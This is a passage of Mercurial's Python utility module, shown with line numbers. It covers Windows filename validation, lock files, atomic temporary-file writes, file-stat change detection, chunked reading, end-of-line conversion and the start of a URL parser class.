2035 2029 b"filename contains '%s', which is invalid on Windows"
2036 2030 ) % stringutil.escapestr(c)
2037 2031 base = n.split(b'.')[0]
2038 2032 if base and base.lower() in _winreservednames:
2039 2033 return (
2040 2034 _(b"filename contains '%s', which is reserved on Windows")
2041 2035 % base
2042 2036 )
2043 2037 t = n[-1:]
2044 2038 if t in b'. ' and n not in b'..':
2045 2039 return (
2046 2040 _(
2047 2041 b"filename ends with '%s', which is not allowed "
2048 2042 b"on Windows"
2049 2043 )
2050 2044 % t
2051 2045 )
2052 2046
2053 2047
2054 2048 if pycompat.iswindows:
2055 2049 checkosfilename = checkwinfilename
2056 2050 timer = time.clock
2057 2051 else:
2058 2052 checkosfilename = platform.checkosfilename
2059 2053 timer = time.time
2060 2054
2061 2055 if safehasattr(time, "perf_counter"):
2062 2056 timer = time.perf_counter
2063 2057
2064 2058
2065 2059 def makelock(info, pathname):
2066 2060 """Create a lock file atomically if possible
2067 2061
2068 2062 This may leave a stale lock file if symlink isn't supported and signal
2069 2063 interrupt is enabled.
2070 2064 """
2071 2065 try:
2072 2066 return os.symlink(info, pathname)
2073 2067 except OSError as why:
2074 2068 if why.errno == errno.EEXIST:
2075 2069 raise
2076 2070 except AttributeError: # no symlink in os
2077 2071 pass
2078 2072
2079 2073 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2080 2074 ld = os.open(pathname, flags)
2081 2075 os.write(ld, info)
2082 2076 os.close(ld)
2083 2077
2084 2078
2085 2079 def readlock(pathname):
2086 2080 try:
2087 2081 return readlink(pathname)
2088 2082 except OSError as why:
2089 2083 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2090 2084 raise
2091 2085 except AttributeError: # no symlink in os
2092 2086 pass
2093 2087 with posixfile(pathname, b'rb') as fp:
2094 2088 return fp.read()
2095 2089
2096 2090
2097 2091 def fstat(fp):
2098 2092 '''stat file object that may not have fileno method.'''
2099 2093 try:
2100 2094 return os.fstat(fp.fileno())
2101 2095 except AttributeError:
2102 2096 return os.stat(fp.name)
2103 2097
2104 2098
2105 2099 # File system features
2106 2100
2107 2101
2108 2102 def fscasesensitive(path):
2109 2103 """
2110 2104 Return true if the given path is on a case-sensitive filesystem
2111 2105
2112 2106 Requires a path (like /foo/.hg) ending with a foldable final
2113 2107 directory component.
2114 2108 """
2115 2109 s1 = os.lstat(path)
2116 2110 d, b = os.path.split(path)
2117 2111 b2 = b.upper()
2118 2112 if b == b2:
2119 2113 b2 = b.lower()
2120 2114 if b == b2:
2121 2115 return True # no evidence against case sensitivity
2122 2116 p2 = os.path.join(d, b2)
2123 2117 try:
2124 2118 s2 = os.lstat(p2)
2125 2119 if s2 == s1:
2126 2120 return False
2127 2121 return True
2128 2122 except OSError:
2129 2123 return True
2130 2124
2131 2125
2132 2126 try:
2133 2127 import re2
2134 2128
2135 2129 _re2 = None
2136 2130 except ImportError:
2137 2131 _re2 = False
2138 2132
2139 2133
2140 2134 class _re(object):
2141 2135 def _checkre2(self):
2142 2136 global _re2
2143 2137 try:
2144 2138 # check if match works, see issue3964
2145 2139 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2146 2140 except ImportError:
2147 2141 _re2 = False
2148 2142
2149 2143 def compile(self, pat, flags=0):
2150 2144 '''Compile a regular expression, using re2 if possible
2151 2145
2152 2146 For best performance, use only re2-compatible regexp features. The
2153 2147 only flags from the re module that are re2-compatible are
2154 2148 IGNORECASE and MULTILINE.'''
2155 2149 if _re2 is None:
2156 2150 self._checkre2()
2157 2151 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2158 2152 if flags & remod.IGNORECASE:
2159 2153 pat = b'(?i)' + pat
2160 2154 if flags & remod.MULTILINE:
2161 2155 pat = b'(?m)' + pat
2162 2156 try:
2163 2157 return re2.compile(pat)
2164 2158 except re2.error:
2165 2159 pass
2166 2160 return remod.compile(pat, flags)
2167 2161
2168 2162 @propertycache
2169 2163 def escape(self):
2170 2164 '''Return the version of escape corresponding to self.compile.
2171 2165
2172 2166 This is imperfect because whether re2 or re is used for a particular
2173 2167 function depends on the flags, etc, but it's the best we can do.
2174 2168 '''
2175 2169 global _re2
2176 2170 if _re2 is None:
2177 2171 self._checkre2()
2178 2172 if _re2:
2179 2173 return re2.escape
2180 2174 else:
2181 2175 return remod.escape
2182 2176
2183 2177
2184 2178 re = _re()
2185 2179
2186 2180 _fspathcache = {}
2187 2181
2188 2182
2189 2183 def fspath(name, root):
2190 2184 '''Get name in the case stored in the filesystem
2191 2185
2192 2186 The name should be relative to root, and be normcase-ed for efficiency.
2193 2187
2194 2188 Note that this function is unnecessary, and should not be
2195 2189 called, for case-sensitive filesystems (simply because it's expensive).
2196 2190
2197 2191 The root should be normcase-ed, too.
2198 2192 '''
2199 2193
2200 2194 def _makefspathcacheentry(dir):
2201 2195 return dict((normcase(n), n) for n in os.listdir(dir))
2202 2196
2203 2197 seps = pycompat.ossep
2204 2198 if pycompat.osaltsep:
2205 2199 seps = seps + pycompat.osaltsep
2206 2200 # Protect backslashes. This gets silly very quickly.
2207 2201 seps.replace(b'\\', b'\\\\')
2208 2202 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2209 2203 dir = os.path.normpath(root)
2210 2204 result = []
2211 2205 for part, sep in pattern.findall(name):
2212 2206 if sep:
2213 2207 result.append(sep)
2214 2208 continue
2215 2209
2216 2210 if dir not in _fspathcache:
2217 2211 _fspathcache[dir] = _makefspathcacheentry(dir)
2218 2212 contents = _fspathcache[dir]
2219 2213
2220 2214 found = contents.get(part)
2221 2215 if not found:
2222 2216 # retry "once per directory" per "dirstate.walk" which
2223 2217 # may take place for each patches of "hg qpush", for example
2224 2218 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2225 2219 found = contents.get(part)
2226 2220
2227 2221 result.append(found or part)
2228 2222 dir = os.path.join(dir, part)
2229 2223
2230 2224 return b''.join(result)
2231 2225
2232 2226
2233 2227 def checknlink(testfile):
2234 2228 '''check whether hardlink count reporting works properly'''
2235 2229
2236 2230 # testfile may be open, so we need a separate file for checking to
2237 2231 # work around issue2543 (or testfile may get lost on Samba shares)
2238 2232 f1, f2, fp = None, None, None
2239 2233 try:
2240 2234 fd, f1 = pycompat.mkstemp(
2241 2235 prefix=b'.%s-' % os.path.basename(testfile),
2242 2236 suffix=b'1~',
2243 2237 dir=os.path.dirname(testfile),
2244 2238 )
2245 2239 os.close(fd)
2246 2240 f2 = b'%s2~' % f1[:-2]
2247 2241
2248 2242 oslink(f1, f2)
2249 2243 # nlinks() may behave differently for files on Windows shares if
2250 2244 # the file is open.
2251 2245 fp = posixfile(f2)
2252 2246 return nlinks(f2) > 1
2253 2247 except OSError:
2254 2248 return False
2255 2249 finally:
2256 2250 if fp is not None:
2257 2251 fp.close()
2258 2252 for f in (f1, f2):
2259 2253 try:
2260 2254 if f is not None:
2261 2255 os.unlink(f)
2262 2256 except OSError:
2263 2257 pass
2264 2258
2265 2259
2266 2260 def endswithsep(path):
2267 2261 '''Check path ends with os.sep or os.altsep.'''
2268 2262 return (
2269 2263 path.endswith(pycompat.ossep)
2270 2264 or pycompat.osaltsep
2271 2265 and path.endswith(pycompat.osaltsep)
2272 2266 )
2273 2267
2274 2268
2275 2269 def splitpath(path):
2276 2270 '''Split path by os.sep.
2277 2271 Note that this function does not use os.altsep because this is
2278 2272 an alternative of simple "xxx.split(os.sep)".
2279 2273 It is recommended to use os.path.normpath() before using this
2280 2274 function if need.'''
2281 2275 return path.split(pycompat.ossep)
2282 2276
2283 2277
2284 2278 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2285 2279 """Create a temporary file with the same contents from name
2286 2280
2287 2281 The permission bits are copied from the original file.
2288 2282
2289 2283 If the temporary file is going to be truncated immediately, you
2290 2284 can use emptyok=True as an optimization.
2291 2285
2292 2286 Returns the name of the temporary file.
2293 2287 """
2294 2288 d, fn = os.path.split(name)
2295 2289 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2296 2290 os.close(fd)
2297 2291 # Temporary files are created with mode 0600, which is usually not
2298 2292 # what we want. If the original file already exists, just copy
2299 2293 # its mode. Otherwise, manually obey umask.
2300 2294 copymode(name, temp, createmode, enforcewritable)
2301 2295
2302 2296 if emptyok:
2303 2297 return temp
2304 2298 try:
2305 2299 try:
2306 2300 ifp = posixfile(name, b"rb")
2307 2301 except IOError as inst:
2308 2302 if inst.errno == errno.ENOENT:
2309 2303 return temp
2310 2304 if not getattr(inst, 'filename', None):
2311 2305 inst.filename = name
2312 2306 raise
2313 2307 ofp = posixfile(temp, b"wb")
2314 2308 for chunk in filechunkiter(ifp):
2315 2309 ofp.write(chunk)
2316 2310 ifp.close()
2317 2311 ofp.close()
2318 2312 except: # re-raises
2319 2313 try:
2320 2314 os.unlink(temp)
2321 2315 except OSError:
2322 2316 pass
2323 2317 raise
2324 2318 return temp
2325 2319
2326 2320
2327 2321 class filestat(object):
2328 2322 """help to exactly detect change of a file
2329 2323
2330 2324 'stat' attribute is result of 'os.stat()' if specified 'path'
2331 2325 exists. Otherwise, it is None. This can avoid preparative
2332 2326 'exists()' examination on client side of this class.
2333 2327 """
2334 2328
2335 2329 def __init__(self, stat):
2336 2330 self.stat = stat
2337 2331
2338 2332 @classmethod
2339 2333 def frompath(cls, path):
2340 2334 try:
2341 2335 stat = os.stat(path)
2342 2336 except OSError as err:
2343 2337 if err.errno != errno.ENOENT:
2344 2338 raise
2345 2339 stat = None
2346 2340 return cls(stat)
2347 2341
2348 2342 @classmethod
2349 2343 def fromfp(cls, fp):
2350 2344 stat = os.fstat(fp.fileno())
2351 2345 return cls(stat)
2352 2346
2353 2347 __hash__ = object.__hash__
2354 2348
2355 2349 def __eq__(self, old):
2356 2350 try:
2357 2351 # if ambiguity between stat of new and old file is
2358 2352 # avoided, comparison of size, ctime and mtime is enough
2359 2353 # to exactly detect change of a file regardless of platform
2360 2354 return (
2361 2355 self.stat.st_size == old.stat.st_size
2362 2356 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2363 2357 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2364 2358 )
2365 2359 except AttributeError:
2366 2360 pass
2367 2361 try:
2368 2362 return self.stat is None and old.stat is None
2369 2363 except AttributeError:
2370 2364 return False
2371 2365
2372 2366 def isambig(self, old):
2373 2367 """Examine whether new (= self) stat is ambiguous against old one
2374 2368
2375 2369 "S[N]" below means stat of a file at N-th change:
2376 2370
2377 2371 - S[n-1].ctime < S[n].ctime: can detect change of a file
2378 2372 - S[n-1].ctime == S[n].ctime
2379 2373 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2380 2374 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2381 2375 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2382 2376 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2383 2377
2384 2378 Case (*2) above means that a file was changed twice or more at
2385 2379 same time in sec (= S[n-1].ctime), and comparison of timestamp
2386 2380 is ambiguous.
2387 2381
2388 2382 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2389 2383 timestamp is ambiguous".
2390 2384
2391 2385 But advancing mtime only in case (*2) doesn't work as
2392 2386 expected, because naturally advanced S[n].mtime in case (*1)
2393 2387 might be equal to manually advanced S[n-1 or earlier].mtime.
2394 2388
2395 2389 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2396 2390 treated as ambiguous regardless of mtime, to avoid overlooking
2397 2391 by confliction between such mtime.
2398 2392
2399 2393 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2400 2394 S[n].mtime", even if size of a file isn't changed.
2401 2395 """
2402 2396 try:
2403 2397 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2404 2398 except AttributeError:
2405 2399 return False
2406 2400
2407 2401 def avoidambig(self, path, old):
2408 2402 """Change file stat of specified path to avoid ambiguity
2409 2403
2410 2404 'old' should be previous filestat of 'path'.
2411 2405
2412 2406 This skips avoiding ambiguity, if a process doesn't have
2413 2407 appropriate privileges for 'path'. This returns False in this
2414 2408 case.
2415 2409
2416 2410 Otherwise, this returns True, as "ambiguity is avoided".
2417 2411 """
2418 2412 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2419 2413 try:
2420 2414 os.utime(path, (advanced, advanced))
2421 2415 except OSError as inst:
2422 2416 if inst.errno == errno.EPERM:
2423 2417 # utime() on the file created by another user causes EPERM,
2424 2418 # if a process doesn't have appropriate privileges
2425 2419 return False
2426 2420 raise
2427 2421 return True
2428 2422
2429 2423 def __ne__(self, other):
2430 2424 return not self == other
2431 2425
2432 2426
2433 2427 class atomictempfile(object):
2434 2428 '''writable file object that atomically updates a file
2435 2429
2436 2430 All writes will go to a temporary copy of the original file. Call
2437 2431 close() when you are done writing, and atomictempfile will rename
2438 2432 the temporary copy to the original name, making the changes
2439 2433 visible. If the object is destroyed without being closed, all your
2440 2434 writes are discarded.
2441 2435
2442 2436 checkambig argument of constructor is used with filestat, and is
2443 2437 useful only if target file is guarded by any lock (e.g. repo.lock
2444 2438 or repo.wlock).
2445 2439 '''
2446 2440
2447 2441 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2448 2442 self.__name = name # permanent name
2449 2443 self._tempname = mktempcopy(
2450 2444 name,
2451 2445 emptyok=(b'w' in mode),
2452 2446 createmode=createmode,
2453 2447 enforcewritable=(b'w' in mode),
2454 2448 )
2455 2449
2456 2450 self._fp = posixfile(self._tempname, mode)
2457 2451 self._checkambig = checkambig
2458 2452
2459 2453 # delegated methods
2460 2454 self.read = self._fp.read
2461 2455 self.write = self._fp.write
2462 2456 self.seek = self._fp.seek
2463 2457 self.tell = self._fp.tell
2464 2458 self.fileno = self._fp.fileno
2465 2459
2466 2460 def close(self):
2467 2461 if not self._fp.closed:
2468 2462 self._fp.close()
2469 2463 filename = localpath(self.__name)
2470 2464 oldstat = self._checkambig and filestat.frompath(filename)
2471 2465 if oldstat and oldstat.stat:
2472 2466 rename(self._tempname, filename)
2473 2467 newstat = filestat.frompath(filename)
2474 2468 if newstat.isambig(oldstat):
2475 2469 # stat of changed file is ambiguous to original one
2476 2470 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2477 2471 os.utime(filename, (advanced, advanced))
2478 2472 else:
2479 2473 rename(self._tempname, filename)
2480 2474
2481 2475 def discard(self):
2482 2476 if not self._fp.closed:
2483 2477 try:
2484 2478 os.unlink(self._tempname)
2485 2479 except OSError:
2486 2480 pass
2487 2481 self._fp.close()
2488 2482
2489 2483 def __del__(self):
2490 2484 if safehasattr(self, '_fp'): # constructor actually did something
2491 2485 self.discard()
2492 2486
2493 2487 def __enter__(self):
2494 2488 return self
2495 2489
2496 2490 def __exit__(self, exctype, excvalue, traceback):
2497 2491 if exctype is not None:
2498 2492 self.discard()
2499 2493 else:
2500 2494 self.close()
2501 2495
2502 2496
2503 2497 def unlinkpath(f, ignoremissing=False, rmdir=True):
2504 2498 """unlink and remove the directory if it is empty"""
2505 2499 if ignoremissing:
2506 2500 tryunlink(f)
2507 2501 else:
2508 2502 unlink(f)
2509 2503 if rmdir:
2510 2504 # try removing directories that might now be empty
2511 2505 try:
2512 2506 removedirs(os.path.dirname(f))
2513 2507 except OSError:
2514 2508 pass
2515 2509
2516 2510
2517 2511 def tryunlink(f):
2518 2512 """Attempt to remove a file, ignoring ENOENT errors."""
2519 2513 try:
2520 2514 unlink(f)
2521 2515 except OSError as e:
2522 2516 if e.errno != errno.ENOENT:
2523 2517 raise
2524 2518
2525 2519
2526 2520 def makedirs(name, mode=None, notindexed=False):
2527 2521 """recursive directory creation with parent mode inheritance
2528 2522
2529 2523 Newly created directories are marked as "not to be indexed by
2530 2524 the content indexing service", if ``notindexed`` is specified
2531 2525 for "write" mode access.
2532 2526 """
2533 2527 try:
2534 2528 makedir(name, notindexed)
2535 2529 except OSError as err:
2536 2530 if err.errno == errno.EEXIST:
2537 2531 return
2538 2532 if err.errno != errno.ENOENT or not name:
2539 2533 raise
2540 2534 parent = os.path.dirname(os.path.abspath(name))
2541 2535 if parent == name:
2542 2536 raise
2543 2537 makedirs(parent, mode, notindexed)
2544 2538 try:
2545 2539 makedir(name, notindexed)
2546 2540 except OSError as err:
2547 2541 # Catch EEXIST to handle races
2548 2542 if err.errno == errno.EEXIST:
2549 2543 return
2550 2544 raise
2551 2545 if mode is not None:
2552 2546 os.chmod(name, mode)
2553 2547
2554 2548
2555 2549 def readfile(path):
2556 2550 with open(path, b'rb') as fp:
2557 2551 return fp.read()
2558 2552
2559 2553
2560 2554 def writefile(path, text):
2561 2555 with open(path, b'wb') as fp:
2562 2556 fp.write(text)
2563 2557
2564 2558
2565 2559 def appendfile(path, text):
2566 2560 with open(path, b'ab') as fp:
2567 2561 fp.write(text)
2568 2562
2569 2563
2570 2564 class chunkbuffer(object):
2571 2565 """Allow arbitrary sized chunks of data to be efficiently read from an
2572 2566 iterator over chunks of arbitrary size."""
2573 2567
2574 2568 def __init__(self, in_iter):
2575 2569 """in_iter is the iterator that's iterating over the input chunks."""
2576 2570
2577 2571 def splitbig(chunks):
2578 2572 for chunk in chunks:
2579 2573 if len(chunk) > 2 ** 20:
2580 2574 pos = 0
2581 2575 while pos < len(chunk):
2582 2576 end = pos + 2 ** 18
2583 2577 yield chunk[pos:end]
2584 2578 pos = end
2585 2579 else:
2586 2580 yield chunk
2587 2581
2588 2582 self.iter = splitbig(in_iter)
2589 2583 self._queue = collections.deque()
2590 2584 self._chunkoffset = 0
2591 2585
2592 2586 def read(self, l=None):
2593 2587 """Read L bytes of data from the iterator of chunks of data.
2594 2588 Returns less than L bytes if the iterator runs dry.
2595 2589
2596 2590 If size parameter is omitted, read everything"""
2597 2591 if l is None:
2598 2592 return b''.join(self.iter)
2599 2593
2600 2594 left = l
2601 2595 buf = []
2602 2596 queue = self._queue
2603 2597 while left > 0:
2604 2598 # refill the queue
2605 2599 if not queue:
2606 2600 target = 2 ** 18
2607 2601 for chunk in self.iter:
2608 2602 queue.append(chunk)
2609 2603 target -= len(chunk)
2610 2604 if target <= 0:
2611 2605 break
2612 2606 if not queue:
2613 2607 break
2614 2608
2615 2609 # The easy way to do this would be to queue.popleft(), modify the
2616 2610 # chunk (if necessary), then queue.appendleft(). However, for cases
2617 2611 # where we read partial chunk content, this incurs 2 dequeue
2618 2612 # mutations and creates a new str for the remaining chunk in the
2619 2613 # queue. Our code below avoids this overhead.
2620 2614
2621 2615 chunk = queue[0]
2622 2616 chunkl = len(chunk)
2623 2617 offset = self._chunkoffset
2624 2618
2625 2619 # Use full chunk.
2626 2620 if offset == 0 and left >= chunkl:
2627 2621 left -= chunkl
2628 2622 queue.popleft()
2629 2623 buf.append(chunk)
2630 2624 # self._chunkoffset remains at 0.
2631 2625 continue
2632 2626
2633 2627 chunkremaining = chunkl - offset
2634 2628
2635 2629 # Use all of unconsumed part of chunk.
2636 2630 if left >= chunkremaining:
2637 2631 left -= chunkremaining
2638 2632 queue.popleft()
2639 2633 # offset == 0 is enabled by block above, so this won't merely
2640 2634 # copy via ``chunk[0:]``.
2641 2635 buf.append(chunk[offset:])
2642 2636 self._chunkoffset = 0
2643 2637
2644 2638 # Partial chunk needed.
2645 2639 else:
2646 2640 buf.append(chunk[offset : offset + left])
2647 2641 self._chunkoffset += left
2648 2642 left -= chunkremaining
2649 2643
2650 2644 return b''.join(buf)
2651 2645
2652 2646
2653 2647 def filechunkiter(f, size=131072, limit=None):
2654 2648 """Create a generator that produces the data in the file size
2655 2649 (default 131072) bytes at a time, up to optional limit (default is
2656 2650 to read all data). Chunks may be less than size bytes if the
2657 2651 chunk is the last chunk in the file, or the file is a socket or
2658 2652 some other type of file that sometimes reads less data than is
2659 2653 requested."""
2660 2654 assert size >= 0
2661 2655 assert limit is None or limit >= 0
2662 2656 while True:
2663 2657 if limit is None:
2664 2658 nbytes = size
2665 2659 else:
2666 2660 nbytes = min(limit, size)
2667 2661 s = nbytes and f.read(nbytes)
2668 2662 if not s:
2669 2663 break
2670 2664 if limit:
2671 2665 limit -= len(s)
2672 2666 yield s
2673 2667
2674 2668
2675 2669 class cappedreader(object):
2676 2670 """A file object proxy that allows reading up to N bytes.
2677 2671
2678 2672 Given a source file object, instances of this type allow reading up to
2679 2673 N bytes from that source file object. Attempts to read past the allowed
2680 2674 limit are treated as EOF.
2681 2675
2682 2676 It is assumed that I/O is not performed on the original file object
2683 2677 in addition to I/O that is performed by this instance. If there is,
2684 2678 state tracking will get out of sync and unexpected results will ensue.
2685 2679 """
2686 2680
2687 2681 def __init__(self, fh, limit):
2688 2682 """Allow reading up to <limit> bytes from <fh>."""
2689 2683 self._fh = fh
2690 2684 self._left = limit
2691 2685
2692 2686 def read(self, n=-1):
2693 2687 if not self._left:
2694 2688 return b''
2695 2689
2696 2690 if n < 0:
2697 2691 n = self._left
2698 2692
2699 2693 data = self._fh.read(min(n, self._left))
2700 2694 self._left -= len(data)
2701 2695 assert self._left >= 0
2702 2696
2703 2697 return data
2704 2698
2705 2699 def readinto(self, b):
2706 2700 res = self.read(len(b))
2707 2701 if res is None:
2708 2702 return None
2709 2703
2710 2704 b[0 : len(res)] = res
2711 2705 return len(res)
2712 2706
2713 2707
2714 2708 def unitcountfn(*unittable):
2715 2709 '''return a function that renders a readable count of some quantity'''
2716 2710
2717 2711 def go(count):
2718 2712 for multiplier, divisor, format in unittable:
2719 2713 if abs(count) >= divisor * multiplier:
2720 2714 return format % (count / float(divisor))
2721 2715 return unittable[-1][2] % count
2722 2716
2723 2717 return go
2724 2718
2725 2719
2726 2720 def processlinerange(fromline, toline):
2727 2721 """Check that linerange <fromline>:<toline> makes sense and return a
2728 2722 0-based range.
2729 2723
2730 2724 >>> processlinerange(10, 20)
2731 2725 (9, 20)
2732 2726 >>> processlinerange(2, 1)
2733 2727 Traceback (most recent call last):
2734 2728 ...
2735 2729 ParseError: line range must be positive
2736 2730 >>> processlinerange(0, 5)
2737 2731 Traceback (most recent call last):
2738 2732 ...
2739 2733 ParseError: fromline must be strictly positive
2740 2734 """
2741 2735 if toline - fromline < 0:
2742 2736 raise error.ParseError(_(b"line range must be positive"))
2743 2737 if fromline < 1:
2744 2738 raise error.ParseError(_(b"fromline must be strictly positive"))
2745 2739 return fromline - 1, toline
2746 2740
2747 2741
2748 2742 bytecount = unitcountfn(
2749 2743 (100, 1 << 30, _(b'%.0f GB')),
2750 2744 (10, 1 << 30, _(b'%.1f GB')),
2751 2745 (1, 1 << 30, _(b'%.2f GB')),
2752 2746 (100, 1 << 20, _(b'%.0f MB')),
2753 2747 (10, 1 << 20, _(b'%.1f MB')),
2754 2748 (1, 1 << 20, _(b'%.2f MB')),
2755 2749 (100, 1 << 10, _(b'%.0f KB')),
2756 2750 (10, 1 << 10, _(b'%.1f KB')),
2757 2751 (1, 1 << 10, _(b'%.2f KB')),
2758 2752 (1, 1, _(b'%.0f bytes')),
2759 2753 )
2760 2754
2761 2755
2762 2756 class transformingwriter(object):
2763 2757 """Writable file wrapper to transform data by function"""
2764 2758
2765 2759 def __init__(self, fp, encode):
2766 2760 self._fp = fp
2767 2761 self._encode = encode
2768 2762
2769 2763 def close(self):
2770 2764 self._fp.close()
2771 2765
2772 2766 def flush(self):
2773 2767 self._fp.flush()
2774 2768
2775 2769 def write(self, data):
2776 2770 return self._fp.write(self._encode(data))
2777 2771
2778 2772
2779 2773 # Matches a single EOL which can either be a CRLF where repeated CR
2780 2774 # are removed or a LF. We do not care about old Macintosh files, so a
2781 2775 # stray CR is an error.
2782 2776 _eolre = remod.compile(br'\r*\n')
2783 2777
2784 2778
2785 2779 def tolf(s):
2786 2780 return _eolre.sub(b'\n', s)
2787 2781
2788 2782
2789 2783 def tocrlf(s):
2790 2784 return _eolre.sub(b'\r\n', s)
2791 2785
2792 2786
2793 2787 def _crlfwriter(fp):
2794 2788 return transformingwriter(fp, tocrlf)
2795 2789
2796 2790
2797 2791 if pycompat.oslinesep == b'\r\n':
2798 2792 tonativeeol = tocrlf
2799 2793 fromnativeeol = tolf
2800 2794 nativeeolwriter = _crlfwriter
2801 2795 else:
2802 2796 tonativeeol = pycompat.identity
2803 2797 fromnativeeol = pycompat.identity
2804 2798 nativeeolwriter = pycompat.identity
2805 2799
2806 2800 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2807 2801 3,
2808 2802 0,
2809 2803 ):
2810 2804 # There is an issue in CPython that some IO methods do not handle EINTR
2811 2805 # correctly. The following table shows what CPython version (and functions)
2812 2806 # are affected (buggy: has the EINTR bug, okay: otherwise):
2813 2807 #
2814 2808 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2815 2809 # --------------------------------------------------
2816 2810 # fp.__iter__ | buggy | buggy | okay
2817 2811 # fp.read* | buggy | okay [1] | okay
2818 2812 #
2819 2813 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2820 2814 #
2821 2815 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2822 2816 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2823 2817 #
2824 2818 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2825 2819 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2826 2820 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2827 2821 # fp.__iter__ but not other fp.read* methods.
2828 2822 #
2829 2823 # On modern systems like Linux, the "read" syscall cannot be interrupted
2830 2824 # when reading "fast" files like on-disk files. So the EINTR issue only
2831 2825 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2832 2826 # files approximately as "fast" files and use the fast (unsafe) code path,
2833 2827 # to minimize the performance impact.
2834 2828 if sys.version_info >= (2, 7, 4):
2835 2829 # fp.readline deals with EINTR correctly, use it as a workaround.
2836 2830 def _safeiterfile(fp):
2837 2831 return iter(fp.readline, b'')
2838 2832
2839 2833 else:
2840 2834 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2841 2835 # note: this may block longer than necessary because of bufsize.
2842 2836 def _safeiterfile(fp, bufsize=4096):
2843 2837 fd = fp.fileno()
2844 2838 line = b''
2845 2839 while True:
2846 2840 try:
2847 2841 buf = os.read(fd, bufsize)
2848 2842 except OSError as ex:
2849 2843 # os.read only raises EINTR before any data is read
2850 2844 if ex.errno == errno.EINTR:
2851 2845 continue
2852 2846 else:
2853 2847 raise
2854 2848 line += buf
2855 2849 if b'\n' in buf:
2856 2850 splitted = line.splitlines(True)
2857 2851 line = b''
2858 2852 for l in splitted:
2859 2853 if l[-1] == b'\n':
2860 2854 yield l
2861 2855 else:
2862 2856 line = l
2863 2857 if not buf:
2864 2858 break
2865 2859 if line:
2866 2860 yield line
2867 2861
2868 2862 def iterfile(fp):
2869 2863 fastpath = True
2870 2864 if type(fp) is file:
2871 2865 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2872 2866 if fastpath:
2873 2867 return fp
2874 2868 else:
2875 2869 return _safeiterfile(fp)
2876 2870
2877 2871
2878 2872 else:
2879 2873 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2880 2874 def iterfile(fp):
2881 2875 return fp
2882 2876
2883 2877
2884 2878 def iterlines(iterator):
2885 2879 for chunk in iterator:
2886 2880 for line in chunk.splitlines():
2887 2881 yield line
2888 2882
2889 2883
2890 2884 def expandpath(path):
2891 2885 return os.path.expanduser(os.path.expandvars(path))
2892 2886
2893 2887
2894 2888 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2895 2889 """Return the result of interpolating items in the mapping into string s.
2896 2890
2897 2891 prefix is a single character string, or a two character string with
2898 2892 a backslash as the first character if the prefix needs to be escaped in
2899 2893 a regular expression.
2900 2894
2901 2895 fn is an optional function that will be applied to the replacement text
2902 2896 just before replacement.
2903 2897
2904 2898 escape_prefix is an optional flag that allows using doubled prefix for
2905 2899 its escaping.
2906 2900 """
2907 2901 fn = fn or (lambda s: s)
2908 2902 patterns = b'|'.join(mapping.keys())
2909 2903 if escape_prefix:
2910 2904 patterns += b'|' + prefix
2911 2905 if len(prefix) > 1:
2912 2906 prefix_char = prefix[1:]
2913 2907 else:
2914 2908 prefix_char = prefix
2915 2909 mapping[prefix_char] = prefix_char
2916 2910 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2917 2911 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2918 2912
2919 2913
2920 2914 def getport(port):
2921 2915 """Return the port for a given network service.
2922 2916
2923 2917 If port is an integer, it's returned as is. If it's a string, it's
2924 2918 looked up using socket.getservbyname(). If there's no matching
2925 2919 service, error.Abort is raised.
2926 2920 """
2927 2921 try:
2928 2922 return int(port)
2929 2923 except ValueError:
2930 2924 pass
2931 2925
2932 2926 try:
2933 2927 return socket.getservbyname(pycompat.sysstr(port))
2934 2928 except socket.error:
2935 2929 raise error.Abort(
2936 2930 _(b"no port number associated with service '%s'") % port
2937 2931 )
2938 2932
2939 2933
2940 2934 class url(object):
2941 2935 r"""Reliable URL parser.
2942 2936
2943 2937 This parses URLs and provides attributes for the following
2944 2938 components:
2945 2939
2946 2940 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2947 2941
2948 2942 Missing components are set to None. The only exception is
2949 2943 fragment, which is set to '' if present but empty.
2950 2944
2951 2945 If parsefragment is False, fragment is included in query. If
2952 2946 parsequery is False, query is included in path. If both are
2953 2947 False, both fragment and query are included in path.
2954 2948
2955 2949 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2956 2950
2957 2951 Note that for backward compatibility reasons, bundle URLs do not
